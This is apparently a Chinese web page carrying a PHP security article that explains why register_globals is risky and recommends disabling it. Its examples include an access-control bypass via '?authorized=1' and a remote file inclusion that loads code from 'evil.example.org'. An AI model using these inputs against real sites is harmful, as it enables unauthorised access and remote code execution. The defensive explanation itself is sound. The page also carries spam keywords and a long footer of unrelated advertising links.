电脑知识|欧美黑人一区二区三区|软件|欧美黑人一级爽快片淫片高清|系统|欧美黑人狂野猛交老妇|数据库|服务器|编程开发|网络运营|知识问答|技术教程文章 - 好吧啦网

您的位置:首頁技術(shù)文章
文章詳情頁

PHP安全之Register Globals

瀏覽:6日期:2024-01-15 11:50:46

register_globals參數(shù)在 PHP 的 4.2.0 及以上版本中默認(rèn)為屏蔽。雖然這并不認(rèn)為是一個安全漏洞,但是的確是一個安全風(fēng)險。因此,應(yīng)該始終在開發(fā)過程中屏蔽register_globals。

為什么這是一個安全風(fēng)險?每一種情形都需要的單獨說明才能描述清楚,對于所有情形只給出一個恰當(dāng)?shù)睦邮欠浅@щy的。不管怎樣,最常見的例子是在PHP手冊中描述的:

<?phpif (authenticated_user()){$authorized = true;}if ($authorized){include '/highly/sensitive/data.php';}?>當(dāng)參數(shù)register_globals開啟的時候,這個頁面可以使用?authorized=1的參數(shù)訪問,從而繞過訪問控制。當(dāng)然,這個明顯的漏洞是糟糕的開發(fā)造成的,而不是register_globals的原因,但是這明顯增加了產(chǎn)生危險漏洞的可能。消除了這個影響,普通的全局變量(比如本例中的$authorized)將不再受到客戶端提交的數(shù)據(jù)的影響。最好的方式是初始化全部變量并且將參數(shù)error_reporting設(shè)置為E_ALL,這樣使用未初始化的變量就不會在開發(fā)的時候被忽略。

另外一個關(guān)于register_globals的例子是在使用include包含動態(tài)路徑的時候可能產(chǎn)生問題:

<?phpinclude '$path/script.php';?>當(dāng)參數(shù)register_globals開啟的時候,這個頁面可以使用?path=http%3A%2F%2Fevil.example.org%2F%3F的參數(shù)訪問,使得本例中的代碼和下面的代碼等同:

<?phpinclude 'http://evil.example.org/?/script.php';?>如果參數(shù)allow_url_fopen開啟的時候(即便是在php.ini-recommended中,默認(rèn)也是開啟的),這將如同包含本地文件一般包含http://evil.example.org/這樣的遠程文件。這是一個常見的安全漏洞,甚至在一些非常著名的開源項目中都發(fā)現(xiàn)。

初始化$path可以避免這個隱患,而且不用屏蔽參數(shù)register_globals。然而開發(fā)人員的失誤可能會產(chǎn)生沒有初始化的變量,修改全局配置以屏蔽參數(shù)register_globals可以盡可能的避免這種隱患被忽視。

便利性總是另人愉快的,過去我們不得不手工區(qū)分哪些是表單數(shù)據(jù),哪些是普通變量。而使用$_POST和$_GET內(nèi)建全局?jǐn)?shù)組也是非常方便的,并且承擔(dān)因為開啟參數(shù)register_globals造成的風(fēng)險很不值得。雖然我完全不同意將開啟參數(shù)register_globals等同于薄弱的安全,但是我還是強烈建議將其設(shè)置為關(guān)閉。

需要補充說明的是,屏蔽參數(shù)register_globals會幫助開發(fā)人員更加留意數(shù)據(jù)的來源,而這正是一個有安全意識的開發(fā)人員所應(yīng)該具備的素質(zhì)。

標(biāo)簽: PHP
主站蜘蛛池模板: 亿立分板机_曲线_锯片式_走刀_在线式全自动_铣刀_在线V槽分板机-杭州亿协智能装备有限公司 | 丹佛斯变频器-Danfoss战略代理经销商-上海津信变频器有限公司 | 空气弹簧|橡胶气囊|橡胶空气弹簧-上海松夏减震器有限公司 | 北京浩云律师事务所-法律顾问_企业法务_律师顾问_公司顾问 | 罗茨真空机组,立式无油往复真空泵,2BV水环真空泵-力侨真空科技 | 焊接减速机箱体,减速机箱体加工-淄博博山泽坤机械厂 | 探伤仪,漆膜厚度测试仪,轮胎花纹深度尺厂家-淄博创宇电子 | 【化妆品备案】进口化妆品备案流程-深圳美尚美化妆品有限公司 | 坏男孩影院-提供最新电影_动漫_综艺_电视剧_迅雷免费电影最新观看 | 压接机|高精度压接机|手动压接机|昆明可耐特科技有限公司[官网] 胶泥瓷砖胶,轻质粉刷石膏,嵌缝石膏厂家,腻子粉批发,永康家德兴,永康市家德兴建材厂 | 挖掘机挖斗和铲斗生产厂家选择徐州崛起机械制造有限公司 | 聚合氯化铝厂家-聚合氯化铝铁价格-河南洁康环保科技 | 焊管生产线_焊管机组_轧辊模具_焊管设备_焊管设备厂家_石家庄翔昱机械 | 成都办公室装修-办公室设计-写字楼装修设计-厂房装修-四川和信建筑装饰工程有限公司 | 硅胶制品-硅橡胶制品-东莞硅胶制品厂家-广东帝博科技有限公司 | 铸铝门厂家,别墅大门庭院大门,别墅铸铝门铜门[十大品牌厂家]军强门业 | 高博医疗集团上海阿特蒙医院 | 元拓建材集团官方网站 | 全自动实验室洗瓶机,移液管|培养皿|进样瓶清洗机,清洗剂-广州摩特伟希尔机械设备有限责任公司 | 免费个人pos机申请办理-移动pos机刷卡-聚合收款码办理 | PO膜_灌浆膜及地膜供应厂家 - 青州市鲁谊塑料厂 | 废旧物资回收公司_广州废旧设备回收_报废设备物资回收-益美工厂设备回收公司 | 化工ERP软件_化工新材料ERP系统_化工新材料MES软件_MES系统-广东顺景软件科技有限公司 | 桁架机器人_桁架机械手_上下料机械手_数控车床机械手-苏州清智科技装备制造有限公司 | 高低温试验房-深圳高低温湿热箱-小型高低温冲击试验箱-爱佩试验设备 | 塑钢课桌椅、学生课桌椅、课桌椅厂家-学仕教育设备首页 | 北京森语科技有限公司-模型制作专家-展览展示-沙盘模型设计制作-多媒体模型软硬件开发-三维地理信息交互沙盘 | 滁州高低温冲击试验箱厂家_安徽高低温试验箱价格|安徽希尔伯特 | 华东师范大学在职研究生招生网_在职研究生招生联展网 | 北京律师咨询_知名专业北京律师事务所_免费法律咨询 | 快速卷帘门_硬质快速卷帘门-西朗门业| 安平县鑫川金属丝网制品有限公司,声屏障,高速声屏障,百叶孔声屏障,大弧形声屏障,凹凸穿孔声屏障,铁路声屏障,顶部弧形声屏障,玻璃钢吸音板 | 上海刑事律师|刑事辩护律师|专业刑事犯罪辩护律师免费咨询-[尤辰荣]金牌上海刑事律师团队 | 户外环保不锈钢垃圾桶_标识标牌制作_园林公园椅厂家_花箱定制-北京汇众环艺 | 洗砂机械-球磨制砂机-洗沙制砂机械设备_青州冠诚重工机械有限公司 | 中矗模型-深圳中矗模型设计有限公司 | 二手色谱仪器,十万分之一分析天平,蒸发光检测器,电位滴定仪-湖北捷岛科学仪器有限公司 | 铝镁锰板_铝镁锰合金板_铝镁锰板厂家_铝镁锰金属屋面板_安徽建科 | 双能x射线骨密度检测仪_dxa骨密度仪_双能x线骨密度仪_品牌厂家【品源医疗】 | 屏蔽泵厂家,化工屏蔽泵_维修-淄博泵业 | 便携式高压氧舱-微压氧舱-核生化洗消系统-公众洗消站-洗消帐篷-北京利盟救援 |